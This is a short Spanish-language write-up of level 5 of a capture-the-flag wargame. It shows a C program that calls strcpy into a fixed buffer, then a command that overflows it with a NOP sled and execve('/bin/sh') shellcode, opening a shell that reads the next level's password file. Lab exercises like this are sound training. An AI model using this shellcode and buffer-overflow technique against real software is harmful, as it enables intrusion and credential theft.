Este nivel, aunque parece distinto, realmente se resuelve igual que el nivel 3.

LEVEL5

El código de este nivel borra las variables de entorno antes de hacer un strcpy.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
 
extern char **environ;
 
int main(int argc,char **argv){
        char buffer[100];
        int i;
 
        for(i = 0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
 
        if(argc>1){
                seteuid(1006);
                strcpy(buffer,argv[1]);
        }
 
        return 0;
}

Al principio pensé que habría que hacer algo con las variables de entorno, pero finalmente la solución es volver a inyectar un shellcode en el búfer.

level5@narnia:/wargame$ ./level5 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
> \xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x70\xfb\xff\xbf"`
sh-3.1$ cat /home/level6/.passwd
gO2CErxY
sh-3.1$

El siguiente nivel no es tan sencillo a primera vista.